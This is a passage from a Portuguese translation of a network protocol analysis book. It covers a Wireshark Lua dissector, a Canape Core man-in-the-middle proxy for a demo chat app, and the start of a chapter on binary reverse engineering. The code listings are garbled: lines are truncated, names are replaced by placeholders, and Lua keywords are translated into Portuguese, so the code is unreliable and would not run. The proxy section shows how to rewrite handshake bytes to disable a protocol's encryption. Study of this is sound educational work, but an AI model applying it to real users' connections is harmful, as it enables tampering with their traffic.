precisa. Com TCP, você precisará lidar com problemas como
dados que se estendem por vários pacotes (exatamente por isso
precisamos levar em conta o bloco de comprimento em nosso
trabalho com o SuperFunkyChat usando o script Python na
Listagem 5-9). Como o UDP é mais fácil de trabalhar, vamos nos
concentrar no desenvolvimento de analisadores para UDP.

Felizmente, o SuperFunkyChat suporta um modo UDP passando


o parâmetro de linha de comando --udp para o cliente ao
iniciar. Envie este parâmetro durante a captura e você deverá
ver pacotes semelhantes aos mostrados na Figura 5-11.
(Observe que o Wireshark tenta erroneamente analisar o
tráfego como um protocolo GVSP não relacionado, conforme
exibido na coluna Protocolo ➊. Implementar nosso próprio
analisador corrigirá a escolha incorreta do protocolo.)

Figura 5-11: Wireshark mostrando o tráfego UDP capturado.

Uma maneira de carregar arquivos Lua é colocar seus scripts


no diretório %APPDATA%\Wireshark\plugins no Windows e no
diretório ~/.config/wireshark/plugins no Linux e macOS. Você
também pode carregar um script Lua especificando-o na linha
de comando da seguinte forma, substituindo as informações de
caminho pelo local do seu script:

wireshark -X lua_script:</caminho/para/[Link]>

Se houver um erro na sintaxe do seu script, você verá uma


caixa de diálogo semelhante à da Figura 5-12. (É verdade que
essa não é exatamente a maneira mais eficiente de desenvolver,
mas funciona bem enquanto você estiver apenas criando um
protótipo.)

Figura 5-12: A caixa de diálogo de erro Lua do Wireshark

Criando o Dissecador

Para criar um analisador de protocolo para o protocolo


SuperFunkyChat, primeiro crie a estrutura básica do analisador
e registre-o na lista de analisadores do Wireshark para a porta
UDP 12345. Copie o exemplo 5-15 para um arquivo chamado
[Link] e carregue-o no Wireshark juntamente com uma
captura de pacotes apropriada do tráfego UDP. Ele deverá ser
executado sem erros.

[Link]

-- Declare nosso protocolo de chat para análise


➊ chat_proto = Proto("chat","SuperFunkyChat Protocol"
-- Especifique os campos do protocolo
➋ chat_proto.[Link] = ProtoField.uint32("chat
[Link])
chat_proto.[Link] = ProtoField.uint8("[Link]
chat_proto.[Link] = [Link]("[Link]"

-- Função de análise
-- buffer: Os dados do pacote UDP como um "Buffer Vir
-- pinfo: Informações do pacote
-- tree: Raiz da árvore da interface do usuário
➌ function chat_proto.dissector(buffer, pinfo, tree)
-- Define o nome na coluna de protocolo na interface
➍ [Link] = "CHAT"

-- Cria uma subárvore que representa todo o buffer.


➎ local subtree = tree:add(chat_proto, buffer(),
"Dados do Protocolo SuperFunkyChat")
subtree:add(chat_proto.[Link], buffer(0, 4))
subtree:add(chat_proto.[Link], buffer(4, 1))
subtree:add(chat_proto.[Link], buffer(5))
end

-- Obter tabela de dissecção UDP e adicionar para a p


➏ udp_table = [Link]("[Link]")
udp_table:add(12345, chat_proto)

Listagem 5-15: Um analisador básico de Lua para Wireshark

Quando o script é carregado inicialmente, ele cria uma nova


instância da classe Proto ➊, que representa uma instância de
um protocolo do Wireshark e lhe atribui o nome chat_proto.
Embora você possa construir a árvore dissecada manualmente,
optei por definir campos específicos para o protocolo em ➋ para
que os campos sejam adicionados ao mecanismo de filtro de
exibição e você possa definir um filtro de exibição de
[Link] == 0 para que o Wireshark mostre apenas os
pacotes com o comando 0. (Essa técnica é muito útil para
análise, pois permite filtrar facilmente pacotes específicos e
analisá-los separadamente.)
Em ➌, o script cria uma função dissector() na instância da classe
Proto. Essa função dissector() será chamada para dissecar um
pacote. A função recebe três parâmetros:

• Um buffer contendo os dados do pacote, que é uma instância


de algo que o Wireshark chama de Buffer Virtual Testado (TVB).

• Uma instância de informação de pacote que representa a


informação de exibição para a dissecação.

• O objeto raiz da árvore para a interface do usuário. Você pode


adicionar subnós a essa árvore para gerar a exibição dos dados
do pacote.

Em ➍, definimos o nome do protocolo na coluna da interface do


usuário (como mostrado na Figura 5-11) como CHAT. Em
seguida, construímos uma árvore dos elementos do protocolo ➎
que estamos analisando. Como o UDP não possui um campo de
comprimento explícito, não precisamos levá-lo em
consideração; precisamos apenas extrair o campo de checksum.
Adicionamos à subárvore usando os campos do protocolo e
usamos o parâmetro buffer para criar um intervalo, que recebe
um índice inicial no buffer e um comprimento opcional. Se
nenhum comprimento for especificado, o restante do buffer
será usado.
Em seguida, registramos o analisador de protocolo na tabela de
analisadores UDP do Wireshark. (Observe que a função que
definimos em ➌ ainda não foi executada; nós apenas a
definimos.) Finalmente, obtemos a tabela UDP e adicionamos
nosso objeto chat_proto à tabela com a porta 12345 ➏. Agora
estamos prontos para iniciar a análise.

A Dissecação de Lua

Inicie o Wireshark usando o script da Listagem 5-15 (por


exemplo, usando o parâmetro –X) e, em seguida, carregue uma
captura de pacotes do tráfego UDP. Você deverá ver que o
analisador carregou e analisou os pacotes, conforme mostrado
na Figura 5-13.

Em ➊, a coluna Protocolo mudou para CHAT. Isso corresponde à


primeira linha da nossa função de análise no Exemplo 5-15 e
facilita a visualização de que estamos lidando com o protocolo
correto. Em ➋, a árvore resultante mostra os diferentes campos
do protocolo com o checksum impresso em hexadecimal,
conforme especificado. Se você clicar no campo Dados na
árvore, o intervalo de bytes correspondente deverá ser
destacado na exibição do pacote bruto na parte inferior da
janela ➌.
Figura 5-13: Tráfego do protocolo SuperFunkyChat analisado

Analisando um pacote de mensagens

Vamos aprimorar o analisador para examinar um pacote


específico. Usaremos o comando 3 como exemplo, pois
determinamos que ele marca o envio ou o recebimento de uma
mensagem. Como uma mensagem recebida deve mostrar o ID
do remetente, bem como o texto da mensagem, os dados deste
pacote devem conter ambos os componentes; isso o torna um
exemplo perfeito para nossos propósitos.

A Listagem 5-16 mostra um trecho da Listagem 5-10, referente


ao momento em que coletamos o tráfego usando nosso script
em Python.

b'\x03bob\x0cComo vai você?'


b"\x03bob\x16Isso é legal, não é?

Listagem 5-16: Exemplo de dados de mensagem

A Listagem 5-16 mostra dois exemplos de dados de pacotes de


mensagens em formato de string binária Python. Os caracteres
\xXX são, na verdade, bytes não imprimíveis; portanto, \x05
corresponde ao byte 0x05 e \x16 ao byte 0x16 (ou 22 em
decimal). Cada pacote mostrado na listagem contém duas
strings imprimíveis: a primeira é um nome de usuário (neste
caso, "bob") e a segunda é a mensagem. Cada string é precedida
por um caractere não imprimível. Uma análise muito simples
(contagem de caracteres, neste caso) indica que o caractere não
imprimível corresponde ao comprimento da string que o segue.
Por exemplo, na string do nome de usuário, o caractere não
imprimível representa 0x03, e a string "bob" tem três caracteres
de comprimento.

Vamos escrever uma função para analisar uma única string a


partir de sua representação binária. Atualizaremos o Exemplo
5-15 para adicionar suporte à análise do comando de
mensagem do Exemplo 5-17.

dissector_with
_commands.lua

-- Declare nosso protocolo de chat para análise


chat_proto = Proto("chat","SuperFunkyChat Protocol")
-- Especifique os campos do protocolo
chat_proto.[Link] = ProtoField.uint32("[Link]
[Link])
chat_proto.[Link] = ProtoField.uint8("[Link]
chat_proto.[Link] = [Link]("[Link]"

-- buffer: Um TVB contendo dados de pacotes


-- início: O deslocamento no TVB para ler a string de
-- retorna a string e o comprimento total usado
➊ função read_string(buffer, start)
local len = buffer(start, 1):uint()
local str = buffer(start + 1, len):string()
return str, (1 + len)
end

-- Função de dissecção
-- buffer: Os dados do pacote UDP como um "Buffer Vir
-- pinfo: Informações do pacote
-- tree: Raiz da árvore da interface do usuário
função chat_proto.dissector(buffer, pinfo, tree)
-- Define o nome na coluna de protocolo na interface
[Link] = "CHAT"

-- Cria uma subárvore que representa todo o buffer.


local subtree = tree:add(chat_proto,
buffer(),
"Dados do Protocolo SuperFunkyChat")
subtree:add(chat_proto.[Link], buffer(0, 4))
subtree:add(chat_proto.[Link], buffer(4, 1))

-- Obtenha um TVB para o componente de dados do pacot


➋ local data = buffer(5):tvb()
local datatree = subtree:add(chat_proto.[Link],

local MESSAGE_CMD = 3
➌ local command = buffer(4, 1):uint()
if command == MESSAGE_CMD then
local curr_ofs = 0
local str, len = read_string(data, curr_ofs)
➍ datatree:add(chat_proto, data(curr_ofs, len), "Nome
curr_ofs = curr_ofs + len
str, len = read_string(data, curr_ofs)
datatree:add(chat_proto, data(curr_ofs, len), "Mensag
end
end

-- Obter tabela de dissecção UDP e adicionar para a p


udp_table = [Link]("[Link]")
udp_table:adicionar(12345, chat_proto)

Listagem 5-17: O script de análise atualizado usado para


analisar o comando Message.

Na Listagem 5-17, a função read_string() adicionada ➊ recebe


um objeto TVB (buffer) e um deslocamento inicial (start), e
retorna o comprimento do buffer e, em seguida, a string.

OBSERVAÇÃO
E se a string for maior que o intervalo de um valor
de byte? Ah, esse é um dos desafios da análise de
protocolos. Só porque algo parece simples não
significa que realmente seja. Vamos ignorar
questões como o comprimento, pois isso é apenas
um exemplo, e ignorar o comprimento funciona
para todos os exemplos que capturamos.

Com uma função para analisar as strings binárias, agora


podemos adicionar o comando Message à árvore de dissecação.
O código começa adicionando a árvore de dados original e cria
um novo objeto TVB ➋ que contém apenas os dados do pacote.
Em seguida, extrai o campo command como um inteiro e
verifica se é o nosso comando Message ➌. Se não for, deixamos
a árvore de dados existente, mas se o campo corresponder,
prosseguimos com a análise das duas strings e as adicionamos à
subárvore de dados ➍. No entanto, em vez de definir campos
específicos, podemos adicionar nós de texto especificando
apenas o objeto proto em vez de um objeto field. Se você
recarregar este arquivo no Wireshark, verá que as strings
username e message foram analisadas, como mostrado na
Figura 5-14.
Figura 5-14: Um comando Message analisado

Como os dados analisados resultam em valores filtráveis,


podemos selecionar um comando de mensagem especificando
[Link] == 3 como filtro de exibição, conforme mostrado
em ➊ na Figura 5-14. Podemos ver que as strings de nome de
usuário e mensagem foram analisadas corretamente na árvore,
conforme mostrado em ➋.
Isso conclui nossa breve introdução à escrita de um analisador
Lua para o Wireshark. Obviamente, ainda há muito que você
pode fazer com este script, incluindo adicionar suporte para
mais comandos, mas você já tem o suficiente para
prototipagem.

OBSERVAÇÃO

Não deixe de visitar o site do Wireshark para obter


mais informações sobre como escrever
analisadores sintáticos, incluindo como
implementar um analisador de fluxo TCP.

Utilizando um proxy para analisar ativamente o


tráfego.

Utilizar uma ferramenta como o Wireshark para capturar


passivamente o tráfego de rede para posterior análise dos
protocolos de rede apresenta diversas vantagens em relação à
captura ativa (conforme discutido no Capítulo 2). A captura
passiva não afeta a operação de rede dos aplicativos que você
está tentando analisar e não requer modificações nesses
aplicativos. Por outro lado, a captura passiva não permite
interagir facilmente com o tráfego em tempo real, o que
significa que você não pode modificar o tráfego facilmente e
instantaneamente para observar como os aplicativos irão
responder.

Em contraste, a captura ativa permite manipular o tráfego em


tempo real, mas requer mais configuração do que a captura
passiva. Pode ser necessário modificar aplicativos ou, no
mínimo, redirecionar o tráfego de aplicativos por meio de um
proxy. A escolha da abordagem dependerá do cenário
específico, e você certamente pode combinar captura passiva e
ativa.

No Capítulo 2, incluí alguns scripts de exemplo para demonstrar


a captura de tráfego. Você pode combinar esses scripts com as
bibliotecas Canape Core para gerar vários proxies, que você
pode querer usar em vez da captura passiva.

Agora que você tem uma melhor compreensão da captura


passiva, dedicarei o restante deste capítulo a descrever técnicas
para implementar um proxy para o protocolo SuperFunkyChat
e me concentrarei em como usar melhor a captura ativa de
rede.

Configurando o proxy

Para configurar o proxy, começaremos modificando um dos


exemplos de captura do Capítulo 2, especificamente a Listagem
2-4, para que possamos usá-lo para análise ativa de protocolos
de rede. Para simplificar o processo de desenvolvimento e
configuração do aplicativo SuperFunkyChat, usaremos um
proxy de encaminhamento de portas em vez de algo como
SOCKS.

Copie o trecho 5-18 para o arquivo chapter5_proxy.csx e


execute-o usando o Canape Core, passando o nome do arquivo
do script para o executável [Link].

capítulo5
_proxy.csx

using static [Link];


using static [Link];

var template = new FixedProxyTemplate();


// Porta local 4444, destino [Link]:12345
➊ [Link] = 4444;
[Link] = "[Link]";
[Link] = 12345;

var service = [Link]();


// Adiciona um manipulador de eventos para registrar
➋ [Link] += (s,e) => WritePacket([Link]
// Imprime no console quando uma conexão é criada ou
➌ [Link] += (s,e) =>
WriteLine("Nova Conexão: {0}", [Link]);
[Link] += (s,e) =>
WriteLine("Conexão Fechada: {0}", [Link]);
[Link]();

WriteLine("Criada {0}", service);


WriteLine("Pressione Digite para sair...”);
ReadLine();
[Link]();

Listagem 5-18: O proxy de análise ativa

Em ➊, instruímos o proxy a escutar localmente na porta 4444 e


a estabelecer uma conexão proxy com [Link] na porta 12345.
Isso deve ser suficiente para testar o aplicativo de bate-papo,
mas se você quiser reutilizar o script para outro protocolo de
aplicativo, precisará alterar a porta e o endereço IP conforme
necessário.

Em ➋, fazemos uma das principais alterações no script do


Capítulo 2: adicionamos um manipulador de eventos que é
chamado sempre que um pacote precisa ser registrado, o que
nos permite imprimir o pacote assim que ele chega. Em ➌,
adicionamos alguns manipuladores de eventos para imprimir
quando uma nova conexão é criada e, em seguida, fechada.

Em seguida, reconfiguramos o aplicativo ChatClient para se


comunicar com a porta local 4444 em vez da porta original
12345. No caso do ChatClient, basta adicionar o parâmetro --
port NUM à linha de comando, conforme mostrado aqui:

[Link] --porta 4444 usuário1 [Link]

OBSERVAÇÃO

Alterar o destino em aplicações do mundo real


pode não ser tão simples. Consulte os capítulos 2 e
4 para obter ideias sobre como redirecionar uma
aplicação qualquer para o seu proxy.

O cliente deve se conectar com sucesso ao servidor através do


proxy, e o console do proxy deve começar a exibir pacotes,
conforme mostrado na Listagem 5-19.

[Link] (c) 2017 James Forshaw, 2014 Context Infor


Listener criado (TCP [Link]:4444), Servidor (Servi
Pressione Enter para sair...
➊ Nova Conexão: [Link]:50844 <=> [Link]:12345
Tag 'Saída'➋ – Rede '[Link]:50844 <=> [Link]:12
: 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F - 0
--------:--------------------------------------------
0000: 42 49 4E 58 00 00 00 0E 00 00 04 16 00 05 75 73
000010: 65 72 31 05 62 6F 72 61 78 00 - [Link].

Tag 'In'➍ - Rede '[Link]:50844 <=> [Link]:12345


: 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F - 0
--------:--------------------------------------------
0000: 00 00 00 02 00 00 00 01 01 00 - ..........

PM - Tag 'Out' - Rede '[Link]:50844 <=> [Link]:


: 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F - 0
--------:--------------------------------------------
➎ 0000: 00 00 00 0D - ....

Tag 'Saída' - Rede '[Link]:50844 <=> [Link]:123


: 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F - 0
--------:--------------------------------------------
0000: 00 00 04 11 03 05 75 73 65 72 31 05 68 65 6C 6C
000010: 6F - o
--trecho omitido--
➏ Conexão fechada: [Link]:50844 <=> [Link]:1234

Listagem 5-19: Exemplo de saída do proxy quando um cliente se


conecta.

A saída indicando que uma nova conexão proxy foi


estabelecida é mostrada em ➊. Cada pacote é exibido com um
cabeçalho contendo informações sobre sua direção (saída ou
entrada), usando as etiquetas descritivas Saída ➋ e Entrada ➍.

Se o seu terminal suporta cores de 24 bits, como a maioria dos


terminais Linux, macOS e até mesmo Windows 10, você pode
habilitar o suporte a cores no Canape Core usando o parâmetro
`--color` ao iniciar um script de proxy. As cores atribuídas aos
pacotes de entrada são semelhantes às do Wireshark: rosa para
pacotes de saída e azul para pacotes de entrada. A exibição do
pacote também mostra de qual conexão de proxy ele veio ➌,
correspondendo à saída em ➊. Várias conexões podem ocorrer
simultaneamente, especialmente se você estiver usando um
proxy para um aplicativo complexo.

Cada pacote é capturado em formato hexadecimal e ASCII.


Assim como na captura com o Wireshark, o tráfego pode ser
dividido entre pacotes, como em ➎. No entanto, diferentemente
do Wireshark, ao usar um proxy, não precisamos lidar com
efeitos de rede, como pacotes retransmitidos ou fragmentação:
simplesmente acessamos os dados brutos do fluxo TCP depois
que o sistema operacional já tiver tratado todos os efeitos de
rede para nós.

Em ➏, o proxy imprime que a conexão foi fechada.

Análise de protocolo usando um proxy

Com nosso proxy configurado, podemos começar a análise


básica do protocolo. Os pacotes mostrados na Listagem 5-19 são
simplesmente os dados brutos, mas o ideal seria escrever um
código para analisar o tráfego, como fizemos com o script em
Python que escrevemos para o Wireshark. Para isso,
escreveremos uma classe Data Parser contendo funções para
ler e gravar dados na rede. Copie a Listagem 5-20 para um novo
arquivo no mesmo diretório em que você copiou
chapter5_proxy.csx na Listagem 5-18 e nomeie-o como
[Link].

[Link]
using [Link];
using [Link];

class Parser : DataParserNetworkLayer

➊ protected override bool NegotiateProtocol(


Stream serverStream, Stream clientStream)

➋ var client = new DataReader(clientStream);


var server = new DataWriter(serverStream);

// Lê o valor mágico do cliente e o escreve no servid


➌ uint magic = client.ReadUInt32();
[Link]("Magic: {0:X}", magic);
server.WriteUInt32(magic);

// Retorna verdadeiro para sinalizar que a negociação


return true;

Listagem 5-20: Um código de análise sintática básico para proxy


O método de negociação ➊ é chamado antes de qualquer outra
comunicação e é passado para dois objetos de fluxo C#: um
conectado ao servidor de bate-papo e o outro ao cliente de bate-
papo. Podemos usar esse método de negociação para lidar com
o valor mágico que o protocolo usa, mas também podemos usá-
lo para tarefas mais complexas, como habilitar a criptografia,
caso o protocolo a suporte.

A primeira tarefa do método de negociação é ler o valor mágico


do cliente e passá-lo para o servidor. Para simplesmente ler e
escrever o valor mágico de 4 bytes, primeiro encapsulamos os
fluxos nas classes DataReader e DataWriter ➋. Em seguida,
lemos o valor mágico do cliente, imprimimos no console e o
escrevemos no servidor ➌.

Adicione a linha `#load "[Link]"` no início do arquivo


`chapter5_proxy.csx`. Agora, quando o script principal
`chapter5_proxy.csx` for analisado, o arquivo `[Link]` será
automaticamente incluído e analisado junto com o script
principal. Usar esse recurso de carregamento permite que você
escreva cada componente do seu analisador sintático em um
arquivo separado, tornando a tarefa de escrever um proxy
complexo mais gerenciável. Em seguida, adicione a linha
`[Link]<Parser>();` logo após `[Link] =
12345;` para adicionar a camada de análise sintática a cada
nova conexão. Essa adição instanciará uma nova instância da
classe `Parser` (Listagem 5-20) a cada conexão, permitindo que
você armazene qualquer estado necessário como membros da
classe. Se você iniciar o script do proxy e conectar um cliente
através dele, apenas os dados importantes do protocolo serão
registrados; você não verá mais o valor mágico (exceto na saída
do console).

Adicionando análise básica de protocolo

Agora, vamos reformular o protocolo de rede para garantir que


cada pacote contenha apenas os dados referentes a um único
pacote. Faremos isso adicionando funções para ler os campos
de comprimento e checksum da rede e manter apenas os dados.
Ao mesmo tempo, reescreveremos o comprimento e o
checksum ao enviar os dados para o destinatário original, a fim
de manter a conexão aberta.

Ao implementar essa análise e encaminhamento básicos de


uma conexão de cliente, todas as informações não essenciais,
como comprimentos e checksums, devem ser removidas dos
dados. Como um bônus adicional, se você modificar os dados
dentro do proxy, o pacote enviado terá o checksum e o
comprimento corretos para corresponder às suas modificações.
Adicione o código da Listagem 5-21 à classe Parser para
implementar essas alterações e reinicie o proxy.

➊ int CalcChecksum(byte[] data)


int chksum = 0;
foreach(byte b in data)
chksum += b;

return chksum;

➋ DataFrame ReadData(DataReader reader)


int length = reader.ReadInt32();
int chksum = reader.ReadInt32();
return [Link](length).ToDataFrame();

➌ void WriteData(DataFrame frame, DataWriter writer)


byte[] data = [Link]();
writer.WriteInt32([Link]);
writer.WriteInt32(CalcChecksum(data));
[Link](data);
➍ protected override DataFrame ReadInbound(DataReader
return ReadData(reader);

protected override void WriteOutbound(DataFrame frame


WriteData(frame, writer);

protected override DataFrame ReadOutbound(DataReader


return ReadData(reader);

protected override void WriteInbound(DataFrame frame,


WriteData(frame, writer);

Listagem 5-21: Código do analisador sintático para o protocolo


SuperFunkyChat

Embora o código seja um pouco verboso (culpa do C# por isso),


ele deve ser relativamente fácil de entender. Em ➊,
implementamos a calculadora de checksum. Poderíamos
verificar os pacotes lidos para confirmar seus checksums, mas
usaremos essa calculadora apenas para recalcular o checksum
ao enviar o pacote adiante.
A função ReadData() em ➋ lê um pacote da conexão de rede.
Primeiro, ela lê um inteiro de 32 bits em formato big-endian,
que representa o comprimento, depois o checksum de 32 bits e,
finalmente, os dados em bytes antes de chamar uma função
para converter esse array de bytes em um DataFrame. (Um
DataFrame é um objeto que contém pacotes de rede; você pode
converter um array de bytes ou uma string em um DataFrame
dependendo da sua necessidade.)

A função WriteData() em ➌ faz o inverso de ReadData(). Ela usa


o método ToArray() no DataFrame de entrada para converter o
pacote em bytes para escrita. Uma vez que temos o array de
bytes, podemos recalcular o checksum e o comprimento e, em
seguida, escrever tudo de volta na classe DataWriter. Em ➍,
implementamos as várias funções para ler e escrever dados dos
fluxos de entrada e saída.

Reúna todos os scripts diferentes para proxy de rede e análise


sintática e inicie uma conexão de cliente através do proxy.
Todas as informações não essenciais, como comprimentos e
checksums, devem ser removidas dos dados. Como vantagem
adicional, se você modificar os dados dentro do proxy, o pacote
enviado terá o checksum e o comprimento corretos para
corresponder às suas modificações.
Mudança de comportamento do protocolo

Os protocolos geralmente incluem vários componentes


opcionais, como criptografia ou compressão. Infelizmente, não
é fácil determinar como essa criptografia ou compressão é
implementada sem realizar muita engenharia reversa. Para
análises básicas, seria interessante poder simplesmente
remover o componente. Além disso, se a criptografia ou
compressão for opcional, o protocolo quase certamente
indicará suporte a ela durante a negociação da conexão inicial.
Portanto, se pudermos modificar o tráfego, poderemos alterar
essa configuração de suporte e desativar esse recurso adicional.
Embora este seja um exemplo trivial, ele demonstra o poder de
usar um proxy em vez de uma análise passiva com uma
ferramenta como o Wireshark. Podemos modificar a conexão
para facilitar a análise.

Por exemplo, considere o aplicativo de bate-papo. Um de seus


recursos opcionais é a criptografia XOR (embora veja o Capítulo
7 sobre por que não é realmente criptografia). Para habilitar
esse recurso, você passaria o parâmetro --xor para o cliente. A
Listagem 5-22 compara os primeiros pacotes da conexão sem o
parâmetro XOR e, em seguida, com o parâmetro XOR.
XOR DE SAÍDA: 00 05 75 73 65 72 32 04 4F 4E 59 58 01
SEM XOR DE SAÍDA: 00 05 75 73 65 72 32 04 4F 4E 59 58

XOR DE ENTRADA: 01 E7 - ..
SEM XOR DE ENTRADA: 01 00 - ..

Listagem 5-22: Exemplos de pacotes com e sem criptografia XOR


ativada

Destaquei em negrito duas diferenças na Listagem 5-22. Vamos


tirar algumas conclusões deste exemplo. No pacote de saída
(que é o comando 0 com base no primeiro byte), o byte final é 1
quando o XOR está habilitado, mas 0x00 quando não está. Meu
palpite é que esse indicador mostra que o cliente suporta
criptografia XOR. Para o tráfego de entrada, o byte final do
primeiro pacote (comando 1 neste caso) é 0xE7 quando o XOR
está habilitado e 0x00 quando não está. Meu palpite é que essa
seja uma chave para a criptografia XOR.

Na verdade, se você observar o console do cliente ao habilitar a


criptografia XOR, verá a linha "ReKeying connection to key
0xE7", o que indica que essa é de fato a chave. Embora a
negociação seja válida para o tráfego, se você tentar enviar uma
mensagem com o cliente através do proxy, a conexão deixará de
funcionar e poderá até ser desconectada. A conexão para de
funcionar porque o proxy tentará analisar campos, como o
comprimento do pacote, da conexão, mas receberá valores
inválidos. Por exemplo, ao ler um comprimento, como 0x10, o
proxy lerá 0x10 XOR 0xE7, que é 0xF7. Como não há bytes 0xF7
na conexão de rede, ela travará. Resumindo, para continuar a
análise nessa situação, precisamos fazer algo em relação ao
XOR.

Embora implementar o código para remover o XOR do tráfego


ao lê-lo e reaplicá-lo ao escrevê-lo não seja particularmente
difícil, pode não ser tão simples se esse recurso for
implementado para suportar algum esquema de compressão
proprietário. Portanto, simplesmente desabilitaremos a
criptografia XOR em nosso proxy, independentemente da
configuração do cliente. Para isso, lemos o primeiro pacote da
conexão e garantimos que o byte final esteja definido como 0.
Ao encaminhar esse pacote, o servidor não habilitará o XOR e
retornará o valor 0 como chave. Como 0 não tem efeito (NO-OP)
na criptografia XOR (como em A XOR 0 = A), essa técnica
desabilitará efetivamente o XOR.

Altere o método ReadOutbound() no analisador sintático para o


código na Listagem 5-23 para desativar a criptografia XOR.
protected override DataFrame ReadOutbound(DataReader
DataFrame frame = ReadData(reader);
// Converter o frame de volta para bytes.
byte[] data = [Link]();
if (data[0] == 0)
[Link]("Desativando a criptografia XOR");
data[[Link] - 1] = 0;
frame = [Link]();

return frame;

Listagem 5-23: Desativar criptografia XOR

Se você criar uma conexão através do proxy, perceberá que,


independentemente de a configuração XOR estar ativada ou
não, o cliente não conseguirá ativar o XOR.

Palavras finais

Neste capítulo, você aprendeu como realizar análises básicas de


protocolo em um protocolo desconhecido usando técnicas de
captura passiva e ativa. Começamos realizando análises básicas
de protocolo usando o Wireshark para capturar tráfego de
exemplo. Em seguida, por meio de inspeção manual e um script
simples em Python, conseguimos entender algumas partes de
um protocolo de bate-papo de exemplo.

Descobrimos na análise inicial que era possível implementar


um analisador básico em Lua para o Wireshark, capaz de
extrair informações de protocolo e exibi-las diretamente na
interface gráfica do Wireshark. O uso de Lua é ideal para
prototipar ferramentas de análise de protocolo no Wireshark.

Por fim, implementamos um proxy do tipo "homem no meio"


para analisar o protocolo. O uso de proxy no tráfego permite
demonstrar algumas novas técnicas de análise, como a
modificação do tráfego do protocolo para desativar recursos
(como criptografia) que poderiam dificultar a análise do
protocolo usando técnicas puramente passivas.

A técnica escolhida dependerá de muitos fatores, como a


dificuldade de capturar o tráfego de rede e a complexidade do
protocolo. O ideal é aplicar a combinação mais adequada de
técnicas para analisar completamente um protocolo
desconhecido.
6
ENGENHARIA REVERSA DE APLICAÇÕES

Se você consegue analisar um protocolo de rede inteiro apenas


observando os dados transmitidos, então sua análise é bastante
simples. Mas isso nem sempre é possível com alguns protocolos,
especialmente aqueles que usam criptografia personalizada ou
esquemas de compressão. No entanto, se você conseguir obter
os executáveis do cliente ou do servidor, poderá usar
engenharia reversa binária (RE) para determinar como o
protocolo opera e também para buscar vulnerabilidades.

Os dois principais tipos de engenharia reversa são a estática e a


dinâmica. A engenharia reversa estática é o processo de
desmontar um executável compilado em código de máquina
nativo e usar esse código para entender como o executável
funciona. A engenharia reversa dinâmica envolve a execução
de um aplicativo e, em seguida, o uso de ferramentas, como
depuradores e monitores de função, para inspecionar a
operação do aplicativo em tempo de execução.

Neste capítulo, vou apresentar os princípios básicos da análise


de arquivos executáveis para identificar e compreender as
áreas do código responsáveis pela comunicação em rede.
Vou me concentrar primeiro na plataforma Windows, porque é
mais provável encontrar aplicativos sem código-fonte no
Windows do que no Linux ou macOS. Em seguida, abordarei as
diferenças entre as plataformas com mais detalhes e darei
algumas dicas e truques para trabalhar em plataformas
alternativas; no entanto, a maioria das habilidades que você
aprenderá será aplicável a todas as plataformas. Ao ler, lembre-
se de que leva tempo para se tornar um bom engenheiro
reverso e que não posso abordar o vasto tema da engenharia
reversa em um único capítulo.

Antes de abordarmos a engenharia reversa, discutirei como os


desenvolvedores criam arquivos executáveis e, em seguida,
fornecerei alguns detalhes sobre a onipresente arquitetura de
computador x86. Depois de entender os fundamentos da
arquitetura x86 e como ela representa instruções, você saberá o
que procurar ao realizar engenharia reversa de código.

Por fim, explicarei alguns princípios gerais de sistemas


operacionais, incluindo como o sistema operacional
implementa a funcionalidade de rede. Com esse conhecimento,
você poderá localizar e analisar aplicativos de rede.

Vamos começar com informações básicas sobre como os


programas são executados em um sistema operacional
moderno e examinar os princípios de compiladores e
interpretadores.

Compiladores, Interpretadores e Assembladores

A maioria dos aplicativos é escrita em uma linguagem de


programação de alto nível, como C/C++, C#, Java ou uma das
muitas linguagens de script. Quando um aplicativo é
desenvolvido, a linguagem bruta é o seu código-fonte.
Infelizmente, os computadores não entendem código-fonte,
então a linguagem de alto nível precisa ser convertida em
código de máquina (as instruções nativas que o processador do
computador executa) por meio da interpretação ou compilação
do código-fonte.

As duas maneiras mais comuns de desenvolver e executar


programas são interpretando o código-fonte original ou
compilando um programa para código nativo. A forma como
um programa é executado determina como podemos realizar a
engenharia reversa, então vamos analisar esses dois métodos
distintos de execução para entender melhor como eles
funcionam.

Línguas interpretadas
Linguagens interpretadas, como Python e Ruby, às vezes são
chamadas de linguagens de script, porque seus aplicativos
geralmente são executados a partir de pequenos scripts escritos
em arquivos de texto. Linguagens interpretadas são dinâmicas
e aceleram o tempo de desenvolvimento. No entanto, os
interpretadores executam programas mais lentamente do que o
código que foi convertido em código de máquina, que o
computador entende diretamente. Para converter o código-
fonte em uma representação mais nativa, a linguagem de
programação pode ser compilada.

Linguagens compiladas

Linguagens de programação compiladas usam um compilador


para analisar o código-fonte e gerar código de máquina,
geralmente gerando primeiro uma linguagem intermediária.
Para geração de código nativo, normalmente é usada uma
linguagem assembly específica para a CPU na qual o aplicativo
será executado (como assembly de 32 ou 64 bits). Essa
linguagem é uma forma legível e compreensível para humanos
do conjunto de instruções do processador subjacente. A
linguagem assembly é então convertida em código de máquina
usando um montador (assembler). Por exemplo, a Figura 6-1
mostra como um compilador C funciona.
Figura 6-1: O processo de compilação da linguagem C

Para reverter um binário nativo ao código-fonte original, é


necessário reverter a compilação usando um processo chamado
descompilação. Infelizmente, descompilar código de máquina é
bastante difícil, então os engenheiros reversos geralmente
revertem apenas o processo de montagem usando um processo
chamado desmontagem.

Ligação estática versus ligação dinâmica


Em programas extremamente simples, o processo de
compilação pode ser tudo o que é necessário para produzir um
executável funcional. Mas, na maioria das aplicações, uma
grande quantidade de código é importada para o executável
final a partir de bibliotecas externas por meio da vinculação —
um processo que utiliza um programa vinculador após a
compilação. O vinculador pega o código de máquina específico
da aplicação, gerado pelo compilador, juntamente com
quaisquer bibliotecas externas necessárias utilizadas pela
aplicação, e incorpora tudo em um executável final, vinculando
estaticamente as bibliotecas externas. Esse processo de
vinculação estática produz um único executável independente
que não depende das bibliotecas originais.

Como certos processos podem ser tratados de maneiras muito


diferentes em diferentes sistemas operacionais, vincular
estaticamente todo o código em um único binário grande pode
não ser uma boa ideia, pois a implementação específica do
sistema operacional pode mudar. Por exemplo, escrever em um
arquivo no disco pode ter chamadas de sistema operacional
muito diferentes no Windows do que no Linux. Portanto, os
compiladores geralmente vinculam um executável a bibliotecas
específicas do sistema operacional por meio de vinculação
dinâmica: em vez de incorporar o código de máquina no
